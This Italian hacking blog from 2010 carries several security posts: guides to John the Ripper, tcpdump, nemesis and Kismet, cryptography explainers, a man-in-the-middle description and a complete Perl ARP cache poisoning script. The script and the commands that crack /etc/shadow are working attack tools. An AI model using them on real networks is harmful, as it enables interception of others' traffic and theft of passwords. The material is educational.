print "non è stata trovata nessuna password\n";

Oppure si può utilizzare un tool come "John the ripper" che potete scaricare a questo indirizzo http://www.openwall.com/john/, con esso è anche possibile implementare attacchi a "forza bruta esaustivi" non utilizzando dizionari ma permutando in tutti i modi possibili un set di caratteri di input. Ovviamente per password relativamente lunghe, questo tipo di attacco diventa impraticabile a causa del troppo tempo necessario. John ha un file dizionario di base nella directory usr/share/john/password.lst , che volendo si può cambiare o modificare, per il resto basta copiare il contenuto dei file /etc/shadow ed /etc/passwd diamo quindi il seguente comando:

./unshadow /etc/passwd /etc/shadow > passwd1

e successivamente lanciare john

./john –single passwd1

martedì 16 novembre 2010

I cookie http e la privacy

I cookie sono delle stringhe di testo inviate da un server web verso un client (il browser), che a sua volta vengono rimandate indietro ogni volta che il client si connette allo stesso server.Potete capire da soli quale nesso ci possa essere tra cookie e privacy, di fatto queste piccole ,e a prima vista insignificanti stringhe di testo, possono essere facilmente utilizzate per catturare informazioni sulla nostra navigazione nel web.Attraverso il loro uso indiscriminato è possibile conoscere abitudini, gusti e anche identità del navigatore del web. Ad esempio prendete google, il motore di ricerca più potente del mondo, spedisce cookie che immagazzinano dati che riguardano le vostre ricerche , le vostre parole chiave e le vostre abitudini,   probabilmente lo fa per migliorare il suo servizio, almeno questa è la giustificazione che utilizza google.E' da notare che i cookie servono anche a renderci la vita più comoda, possono permettere il login ad un sito senza doversi ogni volta autenticare con username e passowrd, oppure ci consentono di personalizzare le pagine di un particolare sito web.Tutti i browser attuali permettono di accettare o no i cookie, per alcuni siti questa è una buona strategia,ma sfortunatamente molti siti se non accettiamo i loro cookie semplicemente saranno inutilizzabili.Un sito che necessita di autentificazione, potrebbe utilizzare i cookie per differenziare le pagine che vi manda quando siete autenticati e quelle che manda quando non lo siete.Detto questo sembra che con i nuovi browser la facoltà di decidere sulla riservatezza sia nelle nostre mani,in realtà non è proprio tutto così semplice, infatti le funzionalità per recuperare informazioni dalle macchine sono presenti in tutti i browser, e questo indipendentemente dalla politica adottata nella gestione dei cookie.La caching, è uno stratagemma che utilizzano i browser per risparmiare banda e aumentare velocità nella risposta, quando visitiamo una pagina alcuni file ,come ad esempio immagini o script java, vengono salvate in memoria, cosi la prossima volta che visitiamo quel particolare sito, se la pagina non è stata modificata questi file saranno caricati dalla memoria e non dalla rete.Questo processo viene reso possibile da una negoziazione fra server e client che serve a determinare se i file nella cache sono ancora attuali, vediamo in particolare come funziona il caching ETag.L' ETag è un identificativo univoco per ogni file che cambia quando il file è stato modificato anche di un solo bit:
Immaginiamo adesso che un amministratore decida di distribuire per ogni macchina che si collega al suo sito un file es.pgn con un ETag differente e unico, basterebbe cambiare solo un bit dell'intestazione nel file, ebbene la volta successiva che una di queste macchine dovesse ricollegarsi verrebbe identificata. Ma torniamo ai cookie,la loro manipolazione è chiamata "cookie poisoning" e consiste nel modificarne i contenuti per eludere i meccanismi di sicurezza.Ricordiamo che nei cookie ci sono informazioni personali, questi dati generalmente sono criptati, ma con tempo,tecnica e pazienza molto spesso gli algoritmi usati vengono violati.

lunedì 15 novembre 2010

Insatallare backtrack 4 su chiavetta usb

Backtrack è una distribuzione linux destinata alla sicurezza, il suo "arsenale" comprende tutto il necessario per testare networking,wifi e altro ancora.Se non avete già provveduto è arrivato il momento di provare a lavorare con questo utilissimo sistema operativo.In questo articolo vi spiegherò come installare BT4 su chiavetta USB, tutto il software di cui avrete bisogno  è gratuito, e il tempo per realizzare la vostra chiavetta è di circa trenta minuti. Prima fase dovete scaricare i seguenti pacchetti:
1)Backtrack 4 iso http://www.backtrack-linux.org/downloads/
2)Hp USB disk storage format tool http://hp-usb-disk-storage-format-tool.soft32.com/download/file/id/771950/?
3)Linux live usb creator http://old.linuxliveusb.com/
Ora procuratevi una chiavetta usb da almeno 4 Gb, la seconda fase consiste nel formattare la chiavetta con il tool HP, inserite la chiavetta poi eseguite il programma Hp USB disk storage format tool, scegliete il vostro dispositivo, in file system lasciate pure fat32, e in "volume label" inserite BT4, e formattate.
Terza ed ultima fase,con la chiavetta usb inserita avviate Linux live usb creator, seleziona il drive corrispondente nel passo 1.Nel passo 2 scegliete come sorgente il file backtrack 4 iso e aspettate che il software lo riconosca.Nel passo 3 impostate lo spazio che utilizzerete per la persistenza dei dati, inserite un valore compatibile con la memoria della vostra chiavetta usb , ricordatevi che circa 2 Gb saranno occupati dal sistema operativo.Nel passo 4 abilitate solo "abilita avvio di linuxlive in windows", ricordatevi che con questa opzione per procedere al passo 5 dovete collegarvi ad internet. Procedete quindi col passo 5 e attendere la fine del processo, ora la vostra chiavetta è pronta.
Adesso potete usarla in due modi:
1)Direttamente da windows in modo virtualizzato (ma funzionerà più lentamente) entrando nella cartella "virtual box" ed eseguendo il file "virtualize_this_key.exe".
2)Facendo il boot direttamente da chiavetta, spegnere il computer lasciando la chiavetta inserita , riavviare,entrare nel bios e settare il boot da chiavetta(con alcuni bios la chiavetta è vista come HardDisk supplementare).
Buon divertimento!

domenica 14 novembre 2010

Attacco Man in the Middle (MiM)

Abbiamo analizzato i vari sistemi di cifratura ovvero simmetrico e asimmetrico, esiste tuttavia un modello "ibrido" che consente di approfittare dei punti di forza di entrambi.Il funzionamento è il seguente, si utilizza un cifrario asimmetrico per scambiare una chiave generata casualmente, in questo modo si elimina il problema della distribuzione delle chiavi, ed in seguito tutta la comunicazione viene effettuata con cifrario simmetrico in modo tale da ovviare alla lentezza dei cifrari asimmetrici,gli standard SSL e SSH utilizzano questo schema.Gli attacchi MiM (Man in the Middle) sono metodi per "imbrogliare" questi protocolli, in sostanza l' aggressore deve inserirsi fra le due parti comunicanti e convincerle entrambe che stanno continuando la loro comunicazione protetta, mentre in realtà entrambi stanno comunicando con l' aggressore.Il funzionamento di questo schema di attacco è simile a quello visto nell' articolo riguardante l' ARP-POISONIG , facciamo un esempio A  vuole aprire una comunicazione privata con B, l'aggressore C simula con A di essere B e con B di essere A, quindi A negozia ,tramite una cifratura asimmetrica, la chiave simmetrica con C .Ora C non deve fare altro che aprire una comunicazione privata con B e sarà a conoscenza di entrambe le chiavi.

Tutto questo significa che C utilizza due canali distinti con due chiavi distinte possedendo entrambe le chiavi ,e visto che tutto il traffico fra A e B passa per C, può eludere la presunta comunicazione cifrata fra A e B.Questo schema di attacco può essere implementato con lo script  di reindirizzamento ARP, e un pacchetto SSH modificato chiamato "7350ssharp" che è possibile reperire a questo indirizzo http://leetupload.com/dbindex2/index.php?dir=Linux/

sabato 13 novembre 2010

Piccola guida a tpcdump

Abbiamo già accennato a tpcdump, cerchiamo adesso di spiegare meglio come utilizzare questo software.Innanzitutto diciamo che tpcdump serve per l' analisi del traffico nella rete a cui siamo collegati , ovviamente per poter comprendere a pieno le sue funzionalità è necessario conoscere la struttura dei pacchetti e i relativi protocolli, quindi se ne avete bisogno ripassatevi gli articoli riguardanti il networking. Io farò riferimento alla versione linux a linea di comando, ma installando opportune librerie è possibile utilizzarlo anche su windows, se volete scaricare il programma e sapere come installarlo su windows andate al sito ufficiale http://www.tcpdump.org. In linux la sintassi corretta è la seguente:

tcpdump [opzioni] [espressioni]

le opzioni possibili sono le seguenti:

-a  Converte indirizzi broadcast e ip in nomi
-c  Esce dopo un tot di pacchetti (esempio c200)
-C  Dimensiona la grandezza del file salvato
-e  Stampa il mac address in ogni pacchetto catturato
-F  Permette di fornire i filtri da un file
-i  Interfaccia di rete. (esempio. -i eth0 )
-n  Non converte l'indirizzo ip in nome
-nn Non risolve sia nomi che porte
-p  L'interfaccia locale non viene settata in modalità promiscua
-q  Visualizza il minor numero possibile di informazioni
-r  Utilizza il file specificato come input per i dati da filtrare
-s  Indica la quantità in bytes di un pacchetto catturato
-S  Stampa la sequenza di numeri assoluti
-t  Non stampa il contrassegno temporale per ogni pacchetto catturato
-tt Stampa il contrassegno temporale (timestamp) non formattato su ogni linea
-v,-vv,-vvv Verbose incrementa il numero di informazioni
-w  Scrive su file il risultato dello sniffing (es. -w file)
-x  Visualizza in esadecimale
-X  Stampa i pacchetti in formato HEX e ASCII

Per quanto riguarda le espressioni, esse sono sostanzialmente dei filtri attraverso i quali possiamo "mirare" al traffico che piu ci interessa, questi filtri possono essere combinati con i vari operatori booleani.Sono possibili un gran numero di filtri possibili :

dst host host -Filtra il traffico destinato ad un particolare host
src host host -Filtra il traffico che arriva da un particolare host
host host -Filtra il traffico che riguarda un particolare host origine/destinazione
dst port porta -Filtra il traffico destinato ad una particolare porta
src port porta -Filtra il traffico che arriva da una particolare porta
port porta -Filtra il traffico che riguarda una particolare porta origine/destinazione
gateway host -Filtra il traffico che utilizza il nodo indicato come gateway
dst net rete -Filtra il traffico destinato ad un particolare rete
src net rete -Filtra il traffico che arriva da una particolare rete
net rete -Filtra il traffico che riguarda una particolare rete origine/destinazione
ether dst host_ethernet -Filtra il traffico destinato ad un dato indirizzo ethernet
ether src host_ethernet -Filtra il traffico che arriva da un dato indirizzo ethernet
ether host host_ethernet -Filtra il traffico che riguarda un dato indirizzo ethernet
ether proto protocollo -Filtra un dato protocollo ethernet (ip,arp,rarp)
ip proto protocollo -Filtra un dato protocollo IP (icmp,igrp,udp,tcp)
[ether] broadcast -Filtra il traffico ethernet broadcast
[ether] multicast -Filtra il traffico ethernet multicast
ip broadcast -Filtra il traffico IP broadcast
ip multicast -Filtra il traffico IP multicast

Come si può vedere la scelta è ampia, e combinando i vari filtri con gli operatori booleani si può restringere il campo di analisi come si vuole.Per concludere questa breve guida ecco un esempio pratico:

tcpdump -vvv -w file test tcp and src 10.50.10.3 and dst port 3456
Questo comando salverà nel file "test" il traffico tcp proveniente da 10.50.10.3 e destinato alla porta 3456.

giovedì 11 novembre 2010

Script - Arp cache poisoning

In uno degli articoli riguardanti il networking ho parlato dell' attacco ARP-POISONING, in questo articolo vi mostrerò come è possibile creare degli script che automatizzano il lavoro utilizzando un potentissimo strumento il linguaggio perl.Una piccola premessa riguardo a questo linguaggio, perl non è solo un linguaggio di scripting ma è un completo linguaggio di programmazione con cui si possono creare applicativi di ogni tipo, il suo punto di forza è la portabilità, essendo infatti un linguaggio interpretato può essere eseguito su diversi sistemi operativi e per scrivere codice è necessario un editor di testo e nient'altro. Se intendete creare i vostri script questo è il linguaggio che fa per voi vi consiglio un ottimo sito in italiano per apprendere le basi di questo linguaggio http://www.perl.it/documenti/corsoperl.html. Bene, tenendo presente quello che ho già detto sull' ARP-POISONING definiamo la sequenza delle operazioni da compiere con uno schema a blocchi molto semplice:
Ora traduciamo in perl, ovviamente utilizzando linux userò comandi di sistema che funzionano con questo sistema operativo, quindi NON vi aspettate che lo script funzioni anche su windows.

#!/usr/bin/perl
$device = "eth0";
$SIG{INT} = \&cleanup;
$flag = 1;
$gatew = shift;
$target = shift;
if(($gatew . "." . $target) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/){
die ("Utilizzo : arppoi.pl <gateway> <target>\n");
}

print "invio ping a gateway e target per inserire MAC nella cache\n";
system ("ping -q -c 1 -w 1 $gatew > /dev/null");
system ("ping -q -c 1 -w 1 $target > /dev/null");

print "recupero indirizzi MAC da cache arp\n";
$gw_mac = qx[/sbin/arp -na $gatew];
$gw_mac = substr ( $gw_mac, index ($gw_mac, ":")-2,17);
$tg_mac = qx[/sbin/arp -na $target];
$tg_mac = substr ( $tg_mac, index ($tg_mac, ":")-2,17);

print "controllo se ci sono entrambi gli indirizzi\n";

if ($gw_mac !~ /^([A -F0-9]{2}\:){5}[A -F0-9]{2}$/){
die ("mac di $gatew non trovato\n");
}

if ($tg_mac !~ /^([A -F0-9]{2}\:){5}[A -F0-9]{2}$/){
die ("mac di $target non trovato\n");
}

print "recupero tuo Ip e MAC\n";
@ifconf = split(" ",qx[/sbin/ifconfig &device]);
$me = substr(@ifconf[6],5);
$me_mac = @ifconf[4];

print "[*] Gateway: $gatew ha il mac $gw_mac\n";
print "[*] Target: $target ha il mac $tg_mac\n";
print "[*] Tu: $me ha il mac $me_mac\n";


while($flag){
print "reindirizzamento $gatew -> $me_mac <- $target";
system("nemesis arp  -r -d $device -S $gatew -D $target -h $me_mac -m $tg_mac -H $me_mac -M $tg_mac");
system("nemesis arp  -r -d $device -S $target -D $gatew -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac");
sleep 10;
}

sub cleanup
{$flag = 0;
print "Ctrl-C uscita e ripristino mac\n";
system("nemesis arp  -r -d $device -S $gatew -D $target -h $gw_mac -m $tg_mac -H $gw_mac -M $tg_mac");
system("nemesis arp  -r -d $device -S $target -D $gatew -h $tg_mac -m $gw_mac -H $tg_mac -M$gw_mac");
}

Ecco a questo punto basta salvare il tutto nel file arppoi.pl, individuare gateway e target ed eseguire il programma con il comando:
./arppoi.pl <gateway> <target>

mercoledì 10 novembre 2010

Cifratura simmetrica

I cifrari simmetrici utilizzano la stessa chiave per criptare e decriptare i messaggi, in genere sono implementati con algoritmi molto veloci il loro punto debole è la distribuzione delle chiavi.Questi cifrari possono essere a blocco o a flusso, un cifrario a blocco utilizza blocchi di dimensione fissa ,di solito 64 o 128 bit, lo stesso blocco di testo in chiaro verrà criptato utilizzando la stessa chiave,tipici esempi di cifrari a blocchi sono DES,AES e Blowfish. I cifrari a flusso generano un flusso di bit pseudocasuali di solito un byte per volta,questo flusso viene chiamato keystream ed è sottoposto a XOR con il testo in chiaro, questo è utile quando si devono criptare flussi continui di dati,RC4 è un valido esempio di cifrario a flusso. DES e AES sono forse i più diffusi cifrari a blocchi, la costruzione di cifrari a blocchi è oggetto di attenta riflessione in quanto si cerca di renderli invulnerabili ad attacchi crittoanalitici noti.Nei cifrari a blocchi sono utilizzati due concetti la "confusione" e la "diffusione",con "confusione" si intendono i metodi per mascherare le relazioni esistenti fra testo in chiaro, testo cifrato e chiave, questo significa che i bit di output devono utilizzare qualche forma di trasformazione complessa della chiave e del testo in chiaro.La "diffusione" serve a diffondere l' influenza dei bit del testo in chiaro e della chiave sulla maggior parte possibile del testo cifrato.Prendiamo il DES, sostanzialmente ogni blocco di dati in chiaro viene suddiviso in 2 metà L(sinistra) e R(destra), in una prima passata (round)la nuova metà sinistra viene impostata uguale alla vecchia metà destra, e una nuova metà destra viene impostata uguale alla vecchia metà sinistra a cui è stata applicata la funzione XOR con l'output di una funzione che utilizza la vecchia metà destra e la sottochiave per tale passata,questo procedimento è ripetuto per 16 volte.Il punto debole del DES è la lunghezza della chiave, che è di 56 bit, quindi è possibile implementare un attacco "brute force" in modo da controllare l' intero spazio delle chiavi in qualche settimana su hardware dedicato.
Nel triplo DES questo problema viene risolto utilizzando due chiavi DES concatenate fra loro, portando la lunghezza complessiva della chiave a 112 bit, la cifratura avviene criptando il testo in chiaro con la prima chiave, poi decriptandolo con la seconda e infine criptandolo nuovamente con la prima. In questo modo la lunghezza della chiave rende enormemente difficile un attacco brute force.

martedì 9 novembre 2010

Crittografia e crittoanalisi

La crittografia è il processo con cui si comunica segretamente per mezzo di cifrari, mentre la crittoanalisi è il processo con cui si decifrano queste comunicazioni segrete.Storicamente hanno rivestito particolare interesse nei periodi bellici, oggi l' utilizzo della crittografia nella vita civile si è enormemente diffuso ,di pari passo con la diffusione di internet, e da quando in rete si effettuano transazioni critiche,quali commercio elettronico, gestione conti bancari online ed altro.Negli articoli precedenti riguardanti il networking, ho mostrato come sia relativamente semplice intercettare il traffico di rete, quindi i protocolli di comunicazione criptata costituiscono una soluzione a questa mancanza di protezione e consentono all' economia su internet di funzionare.Senza il sistema di cifratura SSL(secure sockets layer) i pagamenti con con carta di credito sul web sarebbero impraticabili, i dati sono protetti mediante algoritmi "praticamente" sicuri, anche se attualmente i sistemi crittografici che garantiscono una sicurezza assoluta e dimostrabile sono troppo complessi per essere utilizzati.Quindi è possibile che esistano degli escamotage per violare le cifrature utilizzate in questo momento, ma è anche probabile che nessuno per ora è riuscito a metterli in pratica. Vi sono poi dei crittosistemi per niente sicuri, tale inefficienza può essere dovuta ad esempio alla lunghezza della chiave,nel 1997 le leggi usa prevedevano che la lunghezza massima della chiave per il software esportato fosse di 40 bit, ma poi un giovane studente Ian Goldberg lanciò una sfida e riusci a decifrare un messaggio criptato in circa 3 ore.
La criptologia è definita come lo studio di crittografia e crittoanalisi, ed è correlata all' hacking da diversi punti di vista, per alcuni è il semplice desiderio di risolvere un problema complesso ma per altri lo scopo è meno nobile, difatti i vantaggi materiali derivanti dall' accedere a dati segreti sono molto allettanti.
Una cosa va detta prima di studiare nel dettaglio la crittografia, se da un lato protegge e rende private le nostre transazioni in rete, dall' altro da una mano a evitare la rilevazione degli attacchi, spesso un accesso criptato al web ,che dovrebbe garantire la sicurezza del cliente viene sfruttato per sferrare attacchi difficilmente monitorabili.

lunedì 8 novembre 2010

Piccola guida a nemesis

Come ho accennato negli articoli precedenti ,sulle tecniche hacking relative al networking, per iniettare pacchetti arp o tcp modificati ad-hoc si può ricorrere a nemesis.Il programma è disponibile per molti sistemi operativi ed è possibile scaricarlo a questo indirizzo  http://nemesis.sourceforge.net. Nemesis è un software che lavora a linea di comando quindi per gli utenti abituati a windows potrebbe risultare un po' scomodo, ma del resto la sua struttura è ideale per creare degli script (ad esempio in perl) automatizzando il lavoro.
Con nemesis è possibile interfacciarsi con molti protocolli e iniettare un gran numero di pacchetti customizzati questi sono i pacchetti attualmente supportati:
arp
dns
ethernet
icmp
igmp
ip
ospf
rip
tcp
udp
Vediamo ad esempio come iniettare un pacchetto arp customizzato,la sintassi con le varie opzioni disponibili è la seguente:

nemesis-arp [-rsRv] [-d Ethernet-device ] [-D destination-IP-address ] [-h sender-hardware-address ] [-H source-MAC-address ] [-m target-hardware-address ] [-M destination-MAC-address ] [-P payload-file ] [-S source IP address ] 

Il significato delle opzioni -rsRv è il seguente:

-r reply-enable, abilita  ARP/RARP risposte.
-s Solaris-mode-enable, questa opzione emula sistemi Solaris, impostando l'indirizzo hardware di destinazione all'interno della struttura di ARP per ff: ff: ff: ff: ff: ff piuttosto che la standard 00:00:00:00:00:00.
-R RARP-Enable , abilita RARP mode.
-v verbose-mode , visualizza il pacchetto iniettato in formato leggibile.

Le altre opzioni identificano:

-d Nome del dispositivo ethernet (es. eth0),
-D Specifica la destinazione IP del frame ARP iniettato,
-h indirizzo hardware del mittente all'interno del frame ARP.
-H Specifica il MAC di origine.
-m Specifica indirizzo hardware dell' obiettivo all' interno del frame ARP.
-M Specifica il MAC di destinazione.
-P Questa opzione farà si che si utilizza un file specifico quando si inietta un  frame ARP/RARP.
-S specifica la sorgente IP del frame ARP iniettato.

Quindi per associare l' indirizzo IP 192.168.0.1  al MAC 00:00:AD:D1:C7:ED nella cache ARP del destinatario (IP 192.160.0.118 , MAC 00:C0:F0:79:3D:30) si deve dare il seguente comando:

nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30

In modo analogo avviene l' invio di pacchetti TCP, cambieranno le opzioni disponibili , ma è possibile consultarle accedendo all' help col comando:

nemesis tcp(o altro) help

E' inoltre possibile consultare la manualistica abbastanza dettagliata sul sito http://nemesis.sourceforge.net/.

sabato 6 novembre 2010

Test Kismet

Kismet è un tool per le reti wifi , software molto completo e di facile utilizzo che serve per controllare in ogni più piccolo particolare le reti wifi.Una volta in funzione visualizzerà ogni genere di informazione sulle reti wifi captate dalla vostra interfaccia wireless, informazioni quali SSID,potenza del senale,canale di trasmissione,client connessi,quantità dei pacchetti in transito, tipo di protezione, ecc.ecc. La versione che ho testato è quella compresa nella distribuzione linux backtrack 4 (Kismet-2010-07-R1) è possibile installarlo anche su windows per il download collegatevi a questo sito http://www.kismetwireless.net.Se intendete provarlo ricordate che il tool mette la vostra interfaccia wifi in monitor mode, quindi durante l' utilizzo di kismet non potrete collegarvi ad internet.Una volta lanciato, e fatto partire il server è necessario inserire il nome della vostra interfaccia wifi:
Fatta questa semplice operazione potete chiudere la "console window" per apprezzare l' interfaccia grafica semplice e funzionale:
 
A questo punto è tutto molto intuitivo, per ottenere informazioni su una particolare rete bisogna selezionarla e cliccare su di essa(o premere invio),agendo poi sui vari menu potrete visualizzare ulteriori informazioni come ad esempio i client connessi:

Inoltre è possibile memorizzare l' intera sessione di lavoro in file di testo ed anche ottenere informazioni sulla localizzazione gps delle varie reti, un software veramente  semplice e completo. Ecco il filmato del test.